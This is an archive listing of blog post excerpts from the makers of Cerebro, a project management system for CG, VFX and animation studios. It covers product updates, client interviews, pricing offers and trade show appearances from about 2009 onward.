Posts in Cerebro

Executive producer Black Point Ksenia Akimenko shares how the team structures data using Cerebro.

Supported Shared Task Boards and Telegram Topics, file viewing in Tentaculo.

Connected OCIO in Mirada. Improved the work with configuration keys in Tentaculo.

New in Cerebro: mobile version for Android, features in Tentaculo, desktop update.

We present a new tool in Cerebro — Wiki, a knowledge base. More about new other features — integration with cloud storages Yandex Disk and Google Drive.

We develop a project management system tailored for companies involved in CG, VFX, and animation. Take a look at five examples from our clients.

How Film Direction studio made work clear and transparent. In this case study, production manager Elena Gurskaya and Film Direction coordinator Polina Bryzgalova talk about implementing Cerebro and how it has affected workflow convenience and efficiency.

Introducing our new features which make you work easier. Notification feed in web version. Update to the New Plan tool. Task Path Variables in Tentaculo.

We are happy to share the last Cerebro update in 2023. Our team have created the new planning tool for viewing and planning tasks by executors.

We’re coming back with the updates. Now Cerebro offers more flexibility.

The company employs 110 people, with many projects spanning over 50 shots and several months. These factors have led to the implementation of a resource management system.

Introducing Sony Vegas Pro and Toon Boom Storyboard Pro in Tentaculo. Welcome Cerebro Beta supports Qt6. Look into visual web version update.

We are launching a new video format — interviews with Cerebro clients. Our first guest was Aleksey Kukharonok, Head of CGI and Visual Effects at the HSE Art and Design School.

We’re happy to share with you our new updates. Added Adobe Substance Painter, updated Git integration in Tentaculo. Updated Mirada’s playback libraries. Referral program is now supported from your Personal cabinet.

The team set out to find a tracker tailored to graphics. That’s how 9 Pandas found Cerebro and chose our product for managing projects.

Design studio Sinners wanted to organize technical processes and control production tasks in one single tool. We asked Sergey Zavoloko, the co-founder of the studio, how Cerebro helped reach these goals and restore order in the workspace.

We’ve made a large-scale update of our web version. Extended My Space functionality. External chat settings. Update PyQt version: important for plugin developers.

We have put together our first referral program, which we want to offer you. Recommend Cerebro to your friends and earn bonuses. 15% discount for the new clients.

We’ve released another update: new Tentaculo features, improved desktop and Mirada are ready for you. Now, Tentaculo support for Git, Unreal Engine, Clarisse iFX.

The ‘Klaxon Production’ studio opted for Cerebro, enabling employees to perform their work effortlessly and create children’s animated series while managers are assured of infrastructure stability.

Extended numeric tags functionality. Added the ability to create presets on Plan tab and to plan tasks for users. Released the ability to save the active frame as a png file and to open recent files in Mirada.

For the integration with external chats—Telegram, Discord—we have added settings that enable more flexible use of the integration.

May this new year bring you happy moments and more opportunities for growth.

In the interview, we’ve talked about how Ivan manages to draw attention to the short film, and where to look for ideas and resources.

Mirada now supports CR2 and ARW formats. We’ve added the ability to simplify the appearance of the desktop app. In Tentaculo we’ve updated the interface and configuration.

Good news! We’ve added My Space tab in web version. Improved the playlist in Mirada. Now you can change the order of files.

Integration with Discord. Telegram and Desktop Updates.

Integration with messenger, Desktop, Mirada & Tentaculo Updates.

We interviewed InSoul Effects studio’s founders, Kseniia Ivanova and Marina Burova. They shared their experience of working on large-scale projects and told us what programs and systems are helpful in running a business.

Duplicating sketch comments in Mirada. The ability to display the timeline by task status in Gantt chart. The message visibility in parent tasks for users with conditional access rights.

In Mirada it’s now possible to view RGB channels individually. Multiselection of tasks on web — manage selected groups and edit properties of tasks. In Tentaculo we’ve added the parameter for working without any local version.

You can learn about the subtleties of working in film production and personal professional experience of composers, supervisors and other post-production guys in CG PODCAST №1.

We’ve added сhecklists and personal notes; the ability to assign subscribers to tasks and hashtag cloud in web version. Tentaculo now supports Blackmagic FS and javascript processors (Adobe).

We’ve updated Forum’s and task properties panels interface. Also increased functionality, from now you can display task references and edit multiple tasks with a lot more flex.

Audio Scrubbing in Mirada, an extended task menu in Search and My Space, scaling and new task filters in Tentaculo, task tags in the Web version.

We interviewed 1-2-3 VFX general producer Ilya Shutov. Ilya took part in the creation of many sensational films and TV series — ‘To the Lake’, ‘The Blackout’, ‘Cybervillage’.

Mobile Cerebro increases functionality. From now you can easier exchange information and send reports on tasks.

Now Gannt chart has the highlights of real-time tasks implementation.

Meet us at MIPCOM on 11–14 October 2021.

In Cerebro, there is now an option to include freelancers in the projects.

New features are released in Cerebro!

From 15th to 18th June be sure to book an online meeting; we love to communicate with you and will be happy to see you. Don’t miss your chance to get an extra discount.

We are glad to present a new release! What’s new for users of Cerebro and Mirada.

Enjoy sharing links to tasks in Сerebro!

New features are released in Cerebro!

How to start an animation company with a unique production pipeline with higher productivity and more opportunities for creativity? Sergey Demchev, CEO Magic Factory, shares his experience.

We have updated the forum messaging format to make it consistent across all of our apps.

We’re glad to announce new Cerebro updates.

Easy guide for our new clients and for the old ones who want to come back.

We want to make Cerebro more accessible to everyone, so we are launching a free version of our software.

On December 12 and 13, we are taking part in the annual CG Event Online.

In the interview with INTER TV’s Art Director, Alexander Serbin, you will find out how Cerebro can help keep track of projects and simplify remote work on long run projects.

We are happy to tell you about our latest news: a new update awaits users of our web version. Cerebro Web will have enhanced functionality with Administration panel.

During these days 10-20 October 2020 Licensing Expo China is online to bring many TV, Film and Animation professionals together.

We had an exciting conversation with Ilya Ostrikov, the art director of the REN TV channel, and prepared the big interview with him for your eyes.

We are introducing a new release which includes a lots of updates and other bug fixes to Cerebro for Web, Mobile & Desktop.

Our Mirada utility now has a new tool called Video Scissors.

We are releasing the official web version of Cerebro. Together with our clients, we have been waiting for this for a long time.

We have released an update for the mobile version of Cerebro. It has a number of new features, and now the app has become even more user-friendly.

From 15th to 30th June be sure to book an online meeting; we love to communicate with you and will be happy to see you. Don’t miss your chance to get an extra discount.

What’s new for Cerebro users: roadmap release, Tentaculo.

We interviewed the Main Road Post. The team shared their experience working on large and small projects, the introduction of agile and scrum in the production process. We discussed the creation of graphics, labour immigration, the future of the industry, and more.

We have gathered our remote work experience and prepared for you an article on how to painlessly transfer your team to work from home.

What’s new for Cerebro users: release, integration page, mascot.

Cerebro Team visited the BATIMAT RUSSIA International Building and Interior Exhibition.

A big interview with ALGOUS studio! CEO Alexei Gusev talks about Russian cinema, the film “T-34”, and off-screen difficulties of production and post-production.

We have updated our Support area. Enjoy a user-friendly interface, a chat experience right inside Cerebro, an FAQ knowledge base, and other goodies.

We make a present for all new clients 30% off for Price Plans!

We hope to see you at the CG Event in Moscow on November 30th – December 1st. Cerebro is exhibiting at the main event in the field of computer graphics, which will be held at the Holiday Inn Sokolniki

我们将客户的作品放在了一个作品集里，来展示这些鼓舞人心的案例，同时也感谢动画和视觉效果行业的同事们。

We have updated our Support area. Enjoy a user-friendly interface, a chat experience right inside Cerebro, an FAQ knowledge base, and other goodies.

We’re happy to announce our new release! Non-blocking task creation, task tracking: keyboard, tag editing, and new graphics, project templates and others.

Attending 39th GITEX in Dubai? Be sure to visit us at Sheikh Rashid Hall, stand SR-C30 – Moscow Export Center on October, 6-10! Discover new features, ask questions, and get demos.

You can now highlight several tasks in tracking for some group operations, such as setting the status, assigning a user, etc. Several tasks are selected using the Shift and Ctrl keys. Diagonal selection is also possible.

Meet top professionals from the Entertainment Industry, exchange experience and share contact information while enjoying a delicious breakfast! Learn how to easily manage projects and produce the best VFX and Animation using Cerebro.

Introducing Cerebro and Mirada updates! New Task Tracking and Charts, The Tree and Tabs on the Task Board, Several Media Libraries.

Attending MIFA in Annecy? Be sure to visit us at booth 4.D23 on June 11-14! Discover new features, ask questions and get demos.

The Cerebro mobile app for Android and iOS will allow you to stay connected and up to date, no matter where you are.

Introducing Cerebro and Mirada updates! Now, you can move the paintings and set up the length with the numbers. We have also added new features such as task templates, messages with comments and much more!

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. We have talked to the executive producer Elena Degtyareva about her work in the animation company, hiring practices and experience with projects management systems.

This article contains detailed analysis of 3D Animation in Russia and the CIS. We are not trying to make excuses for the industry or blame the government for how they treat us, animation makers. This is just an attempt to create a 3D image of the animation industry, instead of a flat picture that everyone tends to see.

We introduce a Cerebro update and the main surprise: a task board! You can use the board to group tasks with a simple and convenient interface, providing for easier work and more flexible planning. We have also added new commenting options, sequences, PSD support, and much more.

我们有了 Cerebro 客户的精彩新故事。这一次，我们采访的是俄罗斯电影集团公司的电影制片人、导演阿列克谢·彼得鲁欣以及 VFX 制片人玛丽亚·扎伊科芙斯卡娅，谈论了《魔鬼的精神》(Viy) 续集的发布，他们在中国制作影片的经历，以及将来的计划。

Сerebro continues publishing interviews with customers. We have talked to head of HR Anna Khoroshilova and linear producer Igor Kazantsev from 3D Sparrow animation studio about their cartoon Booba, hiring practices and experience with projects management systems.

自从 2018 年伊始,我们就着手准备这次发布,结果相当棒:)为了更方便您的使用,我们当 下在多地推出云数据中心。具体而言,有北美的旧金山,欧洲的纽伦堡,亚洲的新 加坡和北京。移动版, 本地化和技术支持, 连接器。

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. We have talked to the CEO Boris Mashkovtsev and the HR director Daria Strekalova of the legendary Soyuzmultfilm animation studio about implementing new technologies, development plans, and hiring practices.

🐙Meet Tentaculo – the Cerebro Connector, which enables working with Cerebro directly from other applications.

How to found a VFX studio after majoring in Geology? How does the Japanese management style work? How to impress the audience with Augmented Reality? Vitalijus Zhukas, the CEO of the OKTA Studio, tells us about this and much more 🎮💬❤️

CEREBRO UPDATES: Adding images to messages, stereo view, and other features 👓📌

Cerebro updates — 360° Video and images support and other features 📊🎬

Provocative, sophisticated, impressive. Dmitry Ostroglyadov, the head of the studio: how to keep challenging yourself and build a proper internal workflow. Read about the most extraordinary, large-scale projects in our interview 👾💬💜

Mirada – New interface – Distinct comments The new version of Mirada creates specific comments, and every comment’s author is displayed. Comments are viewed consecutively, and they may contain text, tag, sketch, duration or an audiovisual track. Comments may be replied to Mirada directly. – Possibility to set task status from Mirada – Unified timeline […]

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features Vadim Sotskov, CEO of the KinoAtis studio.

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features Alexander Oplanchuk from ‘Baahubali 2: The Conclusion’ VFX Team.

Here it comes! A Cerebro Road Trip to the countries of Asia. During the whole month of September we are going to visit some of most important countries of Asia, and with their help we will be able to find some new agents for our services. We have products: – Cerebro https://cerebrohq.com/ the environment for […]

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. There is our new interview with Alexey Duk from PIK Group.

Cerebro continues publishing interviews with customers. We talk with producers, project managers, and other industry professionals. Our new interview features RC Kamalakannan from ‘Baahubali 2: The Conclusion’ VFX Team.

Cerebro talked to United 3D Labs.

Attending MIFA in Annecy? Be sure to visit us at booth 4C.19 on June 13-16! Discover new features, ask questions and and get demos. We love to communicate and will be happy to see you. Brand new Mirada design coming soon! Now even more functional. You will be able to make a comparison via curtain. […]

Cerebro resumes publishing interviews with representatives of corporate customers. We will talk with producers, project managers, and other industry professionals. Another interview features Vadim Vinogorov from the Sila Sveta interactive media studio.

For everyone New Cerebro Cerebro Serpens Client for Windows, Mac Os X and Linux Operation operating systems. For Factory users: Database structure updated For Studio users: Cargador component updated Server Components Installation Guide Download Cerebro client Download server components Mirada Now we support a wide range of video compression codecs. We can quickly add new […]

Today we talked to Felipe Morell, the executive producer and CEO of Digitz Film a production company in Columbia in South America.

Lets begin with EXCLUSIVE teaser premiere of «Sergey Radonezh» and continue further interview with Maxim Alaev, head of compositing department at DA-Studio Teaser «Sergey Radonezh» – Maxim, we have known each other for a long time – about 14 years, I think. So let’s start with a brief history about you. How did you get into […]

We continue the tradition and today we will talks with Tatiana Toropova, head of the RENDER.RU Center of Distance Learning   — Tatiana, could you tell us about the Render.ru training center? For example, about its history and when it was established? — Most of Runet computer graphics enthusiasts have long known about our site […]

Hashtags Hashtags are textual markers used to mark tasks, messages, and attachments. A hashtag is a specific word, but a given item can have several such markers. Hashtags can be used to perform searches either in the address bar or in the search tab. If you need to find all the tasks with the hashtag, […]

Today we spoke with Himakumar Kilari, VP Post Production at Prasad Group Let’s begin with a brief history of your company. What is your profile? What do you do? Prasad Group was established in 1956 by the legendary filmmaker L.V.Prasad. Now Prasad Group has major production facilities and offices in India (Chennai, Mumbai, Hyderabad, Bangalore, Trivandrum, Bhuvaneswar, Kolkatta), […]

Today Konstantin Kharitonov talks with Hideki Kawata, CG artist at Transparent House. KK: Can you introduce briefly yourself, your company, the history of the company? HK: Okay, first—history of the company. Transparent House was founded in 2004. They started out as a design visualization firm, creating photorealistic 3-D architectural renderings and animated walk-throughs of commercial and […]

From April 21th to May 2th we’re planning to visit a number of Animation / VFX facilities in Mumbai, Pune, Hyderabad with live product demonstration and presentations. We would like to show Cerebro to the India VFX / Animation crowd. Because their feedback’s will be very valuable for us and for further product development. Our […]

Task references in the task navigator Task references allow you to place the same task in several project branches without copying it. All the reference properties and the forum are inherited from the original task. It means that any message change/creation in reference or property change lead to the change in the original task. The […]

I know a guy… who knows a guy … We are often approached with requests either to help find people for a project , or, vice versa, to suggest a project “to fit in”. This is quite obvious for us: though we are not headhunters, we sell software for project management, and thus deal with […]

We’re inviting your company to take part in the annual conference and exhibition devoted to Animation and Visual Effects in Russia. Our company has been a Co-Organizer of the conference for the last 5 years. The conference name is CGEvent Moscow, every year it is visited by 2000 CGI professionals from Russia, Ukraine, Belorussia and […]

French And Traditional Chinese Added Now the interface of Cerebro is available in two more languages – French and Traditional Chinese This is still work-in-progress, but about 90% of the interface have already been translated into these two languages. We work together with our partners from Gemhorne for make Chinese friendly UI for users who […]

Task filter In the Navigator, in the “To Do List” and “On control” lists the possibility of filtering on the next properties has appeared: – The universe for those who are in multiple universes; – Task start time; – Progress; – Statuses; – Activities. For each task from the list a unique filter is used. The filter window […]

We are proud to present a new cycle of interviews on how Cerebro is used in companies. This month we interviewed  Elena Chugunova and Anastasia Pashenkova, project managers at “Petersburg” animation studio.

Task Status Finally, now a task has the so desperately wanted parameter – STATUS.What does that mean?Status – is a task property that describes its current state. With the help of status it is possible to adjust the sequence of working stages on the task.What kind of statuses there might be ?Any.We have set up […]

Sorry this event will be only for Russian speaking customers.

Here it comes! A whole European Road-show. During the whole month of March we are going to visit some of our most important local-reseller partners in the European Union, and with their help we will be able to find the right words with the local customers. The whole month is packed with meetings in the […]

Sorry this Webinar will be only for Russian speaking customers.

Startup Pack If your company is less than two years since its foundation, we offer a special price rate for the first six months of Cerebro use. For $ 500, we are ready to provide for 6 months: – Cerebro Studio 15 licenses, – Mirada Pro – Cerebro plug-in 2 licenses. That price includes, software […]

During the last weekend the lobby and six conference halls of the Holiday Inn Sokolniki were overcrowded with more than 2000 CGI professionals from all over the ex-USSR territory. The Tenth CG Event Moscow was the largest professional conference in Russia, with almost 90 lectures and seminars in 2 days and 7 concurrent sections. One […]

Task Tracking Following the large amount of requests from the VFX and animation studios, a new tab – “Task Tracking” – has been created. It is designed for more intuitive “matrix” displaying the current situation on the project, divided into standard process steps. In order that this tab function properly, the project must have a […]

We gladly present a new Cerebro Serpens version. Its major difference from the previous versions is a possibility of two-way communication in the Forum between Cerebro users and the people who do not have full accounts in Cerebro (for more understanding we will call them “Email users”). See below how it works, and also about […]

Photos from IBC 2012 Who missed the speech by James Cameron? 🙂   On September 7-13 we are planning to visit the IBC conference in Amsterdam. Straight after the show we will have several meetings with Postproduction/VFX facilities there, for them we will have our live product demonstration and presentations, will show them some new […]

«We are no different from any real studio: the student who successfully passes our  test, is no different from the expert who is handling  over real work».Today Konstantin Kharitonov  talks with Ekaterina Cherkes-Zade, the director of Scream School, a computer graphics school and the Moscow film school.

Today Konstantin Kharitonov talks with the heads of Moscow VFX-studio Trigraph — Arkady Dubinyn (Supervisor) and Olga Nikulina (Producer).

The Cinesoft company scores an opportunity to create integration between Cerebro and SAP Business One. Therefore, we’re asking you to take a short survey which will help us figure out the usefulness of such an integration. SAP Business One is an enterprise resource planning (ERP) solution for small and medium-sized businesses, as well as divisions and […]

On May 14-16 we’re planning to visit a number of Postproduction/VFX facilities in Warsaw, with live product demonstration and presentations. We would like to show Cerebro to the Polish VFX/ Post production crowd. Because their feedback’s will be very valuable for us and for further product development. And our local reseller will help us in Poland, so that […]

Before there were an entirely pleasant news. Present news, probably are less pleasant. But they are not deadly. Starting from June 01, 2012 new tariff plans will be applied: Home – 9 usd per user per month, Studio – 29 usd per user per month, Factory – 59 usd per user per month, Corporation – 89 […]

A new Cerebro Serpens (Constellation of the Snake ) version has been released in order to change the old Cerebro Astro version that you were working with since 2010. The reason we call it Serpens: Serpens version if to compare with Astro version, will be a Software development Kit on the Python API base. Software […]

Yes, we knew once it would happen. The time has come – we’re going to London! On February 21-23 we’re planning to visit a number of VFX and animation facilities in London, Bristol with live demonstrations and presentations. What’s on the menu this time? Cerebro, for sure. We’d like to show it to the UK […]

The 10th Annual VES Awards will take place on Tuesday, February 7, 2012 at the Beverly Hilton Hotel, LA, USA. The nominees for awards in 23 categories are announced, and we are pleased to congratulate our partners in Kiev, POSTMODERN company, nominated for Outstanding Visual Effects in a Broadcast Series with The Bomber project. As […]

New Visibility Policy For Groups And Users A new visibility policy takes effect in the current version. Visibility determines if a user is allowed to see other groups / users in various interface elements and whom he/she would see in particular. Visibility is configured on a separate Administrator panel tab – «Who Sees Whom». Visibility […]

Dear golleagues! Please, accept our greetings in accordance with upcoming New Year holiday! We wish you a successful year full of technological innovations, ambitious projects, prevented clearance of deadlines and a lot of tasty ice cream!!Thanks for the cooperation, we hope that our relationships will be even more usefull in the future!  

Access Rights Management Upgraded Access rights can be global (granted to the whole Universe) or local, task-specific. To adjust task-specific access rights pick the task (or project), go to   Task Properties tab and press the button . A new window will open: The upper list displays current groups and users who have access to […]

This month, Konstantin Kharitonov talks to Dmitrii Filippov of Mandarin Ad Agency.

You may select the UI language Cerebro directly at login screen. You may choose avatar display option to show them (the menu Cerebro Astro – Settings – Display Settings): – on the left, center or right of the message header – or disable altogether. There is a new export Review option appear in MiradaPro (menu Review […]

CineSoft Ltd. launches a new version of the most popular Cerebro plugin – Mirada player. A new version of Mirada, named Mirada Pro offers four advanced features: Stereoscopic 3D support, Online reviewing sessions, Color grading, Reviews saved as standalone files in a user defined folder. 1. Stereoscopic 3D Support Cerebro professional users get a unique tool […]

User Avatars User avatars can be added to a user profile here:Main menu -> Cerebro Astro -> Profile…Universe administrators can attach avatars to material resources on Resources tab in Administrator window.Main menu -> Tools -> Administrator…Now every message in a forum can be identified by its creator’s avatar.You may change Avatar size in Main menu […]

We are glad to inform you that the long-waited Mirada Pro Player beta testing is opened! Mirada Pro not only displays pics and video in stereoscopic 3d mode but gives you a unique tool for drawing and typing comments over it. Parallax adjustable comments! If you wish to take part in beta testing you’ll need the […]

Performance Improved Cerebro speed is drastically increased while: tasks browsing, task properties editing, esp. while multi-task editing task copying, duplicating and multi-task creation by files drag-n-drop into Navigator. messages posting and all the rest functions work much faster now! Material Resource Usage Reports A new feature developed – material resource usage reporting. Advanced Copying Features […]

This month we’re interviewing Yulia Kozhevnikova from the Advance Digital advertising agency.

April 4-7 Central House of Artists (Moscow) hosts Design I Reklama 2011, the 17th Exhibition of Advertising Industry. Our participation in the event will be our first step to focus on advertising market where we’ll offer Cerebro as a project management solution for full-cycle campaigns, from planning and creative ideas through production and media. At our […]

We’ve started Cerebro for iOS beta testing. This version is built for Apple Inc. mobile devices – iPad и iPhone. A month ago we invited iPad users only to test new fetures of this version and today we gladly welcome all iPhone users as well! If you wish to join our testing team please submit […]

April 8-10, 2011 Saint Petersburg hosts The First Annual Gaming and 3D Industry Conference – OGIC. On April 9, during the Day of CGI & 3D, we’ll take the floor with our seminar – “Media Project Management Systems”. Our CEO, Konstantin Kharitonov, will touch upon the following common issues: How to shorten production cycle? How to […]

March 15-17 , 2011 the 8-th specialized exhibition of services for TV and Cinema production, CPS / Cinema Production Service, will be hosted in Moscow Expocenter. CPS/ Cinema Production Service is Russia’s only specialized exhibition of services for television and film in the format of b2b (business-to-business), focused on producers and all professionals directly involved […]

On March 09, 2011 we moved in a new fancy office near Electrozavodskaya Metro Station. Now we bathe in the spring sun and admire Moscow sights outside our windows on the 7th floor! :). Our new address: ul. Bolshaya Pochtovaya, 55/59. And, by the way, our new phone number:  +7 (495) 980-03-76. The rest contacts […]

Message type can be selected/changed in the Add or Edit dialog windows. Files can be dragged-and-dropped right onto a forum thread. And it calls an Add message dialog window with the dropped files attached to it.Every forum message now has 2 new buttons, Edit and Reply.Locked docksAll docks (Navigator, Forum, Gannt chart, etc.) are now locked by […]

We gladly inform you that we’ve implemented Zendesk technical support portal. Its URL is http://cinesoft.zendesk.com There you’ll find docs and manuals and an easier and more efficient way for bug reporting. For example, an e-mail message sent to support@cinesoft.ru automatically creates a new ticket in Zendesk. We’ve made a decision to close all duplicating communication channels for […]

This month we talk with Timofei Penkov production director of N3.

The denial of service occurred at 22:00 (+3 GMT) on Feb. 17 and lasted until 16:00 (+3 GMT) on 18 February. The incident affected only SaaS (Studio/Private/Demo) users. No user data was affected or lost.It was the first (and we hope the last) incident of server hardware failure. We make every effort to eliminate any […]

User Profile Edit Administrators are enabled to edit user profiles. If a user belongs to one and the only universe Administrator can edit any profile field, including user e-mail and password. Users are enabled to edit their logins. A Deleted Account Restoration It has been made possible to restore a deleted user account by his/her […]

Looking for beta testers Cerebro iPad, please write to khar@cinesoft.ru 🙂    

Many small bugs Fixed! More Information…  

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You are 2 steps away from your gift! Make those steps: Register in Cerebro demo version (if not registered yet), Transfer the payment by any convenient  method. Our managers will contact you, discuss the details and close the deal. If your payment amount lets you get several gifts at the same time – just go […]

Budgeting Costs planning and tracking function Payments record Costs statistics A new role – Producer – is added. It should be assigned to a project manager responsible for financial performance of a project. Producer has access to budgets and salaries. Task properties multi-edit You can change task properties for several tasks simultaneously – just select […]

Interface in RussianNow in the desktop client you can switch the interface language to Russian.IPhone and Web versions also have this option:– For IPhone/IPad versions: just change the system regional settings– For Web version: go to menu Language -> Русский   Interactive unread messages notifications If you have unread messages in Cerebro: – the icon […]

You will not be able set task planned date and edit Gantt diagram in previous versions of Cerebro client. You should upgrade client in order to do it. Cerebro Task planed time is directly determine its duration in days. You may define work schedules from Tools -> Work Schedules. Work schedule affect only assigned users. […]

This month we talk with Eugene Barulin director of ‘Ulitka Post’.

Cinesoft and iPi Soft are pleased to announce the signing of a partnership agreement. iPi Soft company released iPi Markerless Desktop Motion Capture system that is used for automated 3D animation production. Optical-based technology is used for recognition of human movements, and special costumes or markers are not required. The actor can wear casual clothes like […]

This month we talk with Alex Duk director of visualization departament company Vedis.

15 NEW Video Tutorials, with english and russian subtitles.We are waiting for yours comments 🙂 For Worker’s: Create Report Create Message For Admin’s: Create Universe Create Users Create Project For Manager’s: Create Task Create Review Create Message Task is Completed Gantt Chart Overview Project Statistics User Statistics For Client’s: Client Review General: Mirada Tools Overview […]

What’s New In Version 1.1 Recording audio memos to OGG Vorbis Playback sound from Ogg, Wav, Mp3, Aiff formats Russian localization Available from the App Store

Cinesoft’s Director Konstantin Kharitonov is going to the SIGGRAPH exhibition in LA (from  July 27th to August 4th). If you’d like to meet him, please send us an email at khar@cinesoft.ru. We’ll be glad to see you there 🙂 Updated photo set from SIGGRAPH 2010. Soon will be more – Exhibition and R&H office…    

64 bit Version for Mac OS X – This version will work under Mac OS X Leopard 10.5.x, and under Mac OS X Snow Leopard 10.6.x– Stable work under Mac Os Snow Leopard 10.6.x– Productivity increase by 2 times for interface “re-drawing” (when shifting from Carbon to Cocoa)– To change from the 32 bit version […]

Features listAvailable from the App Store

New way of creating and editing tasks Now when you create a task you will be able to give a technical description of the task, and attach files to it in the special window that appears! Тask status can be edited by a manager or an administrator. Statuses: event – for e.g. meeting (new) locked […]

On Saturday, May 22nd from 7:00 am until 18:00 pm technical maintenance operations will be conducted by our hosting center. Cerebro will be unavailable for a while, but not longer than for 4-6 hours. Sorry for the inconvenience!  

Cinesoft and BeamYourScreen are proud to announce the integration of the Cerebro project management complex with Mikogo – the easy-to-use and cross-platform remote desktop tool ideal for web conferencing and remote support. The Mikogo software has been implemented within both the Cerebro Mac OS X and Windows distribution kits. We have created a new “Web […]

Finally, on request of and dreading the threats of our users 🙂  Cerebro now includes Gantt Chart!To edit Gantt chart please go to <Editable> mode. Plus: – Task Properties – new links section (task dependence) and expanded date section;– New Light interface style (looks a little like MS Оutlook) works for all operational systems; – […]

You’ve always felt a great critic inside you, struggling to break free, but were afraid to admit it? Do you have a burning sense of the beautiful? Have an artistic talent and a mind that scintillates with wit? Cinesoft and  Wacom will help you unleash your talents and reward the most inventive! Download the Wacom […]

Find out more about Cerebro during the CPS exhibition that will be held on April 27-29th in the Moscow World Trade Center ! Cinesoft will participate in the event in cooperation with its partner company JC System Integration, an acclaimed Russian distributor of software and hardware for the production of digital cinema, virtual reality projects […]

Cerebro is planning on launching IPhone / IPod Touch and a special IPad version! By the way, the current client already works offline and has a crafty caching system 🙂 While you’re waiting for the launch you can become a Cerebro client beta-tester. All you need to do is: Test Cerebo and write about the […]

Interview with Bazelevs team (sorry, only in Russian). We chose Cerebro, because it gives our director the opportunity to give timely comments on our work and is user friendly. Plus, we can see the progress on different shots that are all done at the same time, set tasks for our employees and give them all […]

The Cerebro web version has finally  been launched! You no longer need to install Cerebro locally. If you have Internet access, your login and password – welcome aboard! Access your Cerebro account from any computer. We remind you that in the web version you will be able to: view task tree; view assigned and interest […]

Cinesoft, developer of Cerebro media project management complex and Wacom CIS, the representative (on the territory of Russia and CIS) of the world’s leading manufacturer of pen tablets, interactive pen displays, and digital interface solutions have entered into a strategic partnership. A first step towards mutually beneficial cooperation was the integration of Wacom pen tablets […]

Congratulations to: Andrey Savchenko from the Ukraine Maxim Moiseev from Russia And mysterious mr. V Du from the United States 🙂 The winners of the contest have been presented signup for 6 months to Cerebro! Thanks to everyone who participated! Keep up with the news,  new contests and prizes yet to come!

Cinesoft announces the “Join the Cerebro Fan Club” contest! Free signup for 6 months for the popular project management complex Cerebro is only two steps away! All you need to do is: – join the Cerebro fan page on FaceBook.com here; – register in the demo version of Cerebro here; – fill in contest participant […]

– we now support Wacom drawing boards with brush size depending on pressure level; – supports switch to “eraser” option that is turned on when pen turned upside down; – new panning instrument (by default in Mirada main menu); -more compact interface to fit notebook screen; – new floating tool bar menu with New Task, […]

Cinesoft presents the new Cerebro rate plan, developed in accordance with the needs and demands of all our different users. You can now purchase sign up for 1, 3, 6 and 12 months or signup permanently 🙂 ! We tried to make our rates as money-saving as possible: according to one of the options, for […]

Available from the App Store Cerebro iPhone version 1.0. was developed specially for users that are  constantly on the move but still need to keep in touch. We’re sending out the application to Apple for approval, so keep your fingers crossed!  🙂 Main functions: work offline! view task tree; view assigned and interest task lists; […]

The web version of Cerebro was developed specially for users that like a change of scene :), or, in other words, do not work on one computer. It can also come in handy for your clients that don’t have the opportunity to install the Cerebro Desktop Client version. We plan on launching Cerebro Web in […]

Web-seminar (Webinar) “Cerebro introduction course” What is a Web-seminar? A Web-seminar is a type of web conference where the participants are able to see everything the tutor is doing on his/her desktop. Apart from that all participants can ask questions online via messenger or conversation services. Duration – 30 minutes. To request a Web-seminar please […]

Get quick answers to your Cerebro questions online! We now have a Live Chat button in the right hand field of our website. Work in business days (11 AM – 9 PM)!

– task shifting and copying to various levels and projects Select task in the Navigator menu using the shortcuts listed below or by right mouse click:ctrl-c – to copy (when copying a task all the subtasks will be copied, Definitions will be copied from messages)сtrl-x – for shiftingctrl-v – to paste– Fully re-written “Tools/Project Statistics”… […]

Full list of changes (fixed many small bug’s)   You can find updated crash courses here http://cinesoft.ru/cerebro/cerebro_crash_course_eng.pdf Resized the Tools -> Administrator window, it will now fit on a 1024×786 screen New settings after a file has been downloaded by double-click Cerebro->Preference menu:– open file in Mirada– open dialogue window from which you can shift […]

Happy holidays to everyone and best wishes for the New Year! By the way, we’ve created a Feeedback button http://cerebro.userecho.com/ and are waiting for your suggestions 🙂 We’ll be back in operation on Jan. 6  2010.

Actually, we weren’t quite expecting this. Siggraph Asia 2009 really gathered a lot of visitors: 6500 people from 50 countries in 3 days. Notwithstanding the huge language barrier (as the main languages in cosmopolitan Tokyo are Japanese and the language of signs which we spoke fluently by the time we left) Cerebro aroused the interest […]

All articles and discussions: (in Russian)CG Event, зима 2009 года (mir3d.ru)http://www.cgtalk.ru/forum/showthread.php?t=25444&page=4http://renderman.ru/forum/read.php?1,11690http://forum.cgtalk.by/showthread.php?t=9702 – http://sites.google.com/site/damat3d/public/cg-event-2009-zima –  Practical outsource | Dmitry damat Astapkovich All photos:http://picasaweb.google.com/cgevent/CGEVENT2009 – Official photosФотографии с евента (mir3d.ru)Знакомые лица (mir3d.ru)http://picasaweb.google.ru/rulexip/Event_2009_winterhttp://picasaweb.google.com/Vodoley88/CGEVENT2009http://picasaweb.google.com/olga.tsibulina/brzmdF http://photofile.ru/users/irina_sergeeva/96282475/all/ http://shazoo.ru/news/event-693http://fotki.yandex.ru/users/druxo/album/59355/ http://v3ddotru.blogspot.com/2009/12/cgevent-russian-siggraph.htmlhttp://sites.google.com/site/damat3d/public/cg-event-2009-zima

Cinesoft is proud to present a fully-rewritten new upgraded version of Cerebro! Working 5 times faster Cerebro now offers on-line commenting and reviewing options in the Mirada module, asynchronous work with your database, all task and message data is now cached for your convenience. You can finally register in our new demo-version here http://cerebrohq.com/en/pricing/ Dowload […]

A big thank you to all those who came to visit us at our shared booth with Polden studio at the NATexpo exhibition! We were very glad to see you and hope that you were able to appreciate the new Cerebro options, such as online reviewing, timeline and mouse cursor synchronization that can now be […]

NATEXPO is an annual, international exhibition and conference focused on technologies, professional equipment and services for the Television, Radio and New Media Broadcasting and cinema production. NATEXPO 2009 will take place from in the brand new pavilion 75 of All-Russian exhibition center ‘VVC’, on November, 17–20. You can find us at booth A25 our partners […]

Igromir 2009 — Russia’s #1 Games Show will be held on Thursday November 05, 2009, 11:00AM at Sunday November 08, 2009, 05:00PM at Moscow. You can find us at booth D2-D6 TV Сhannel Perviy Igrovoy

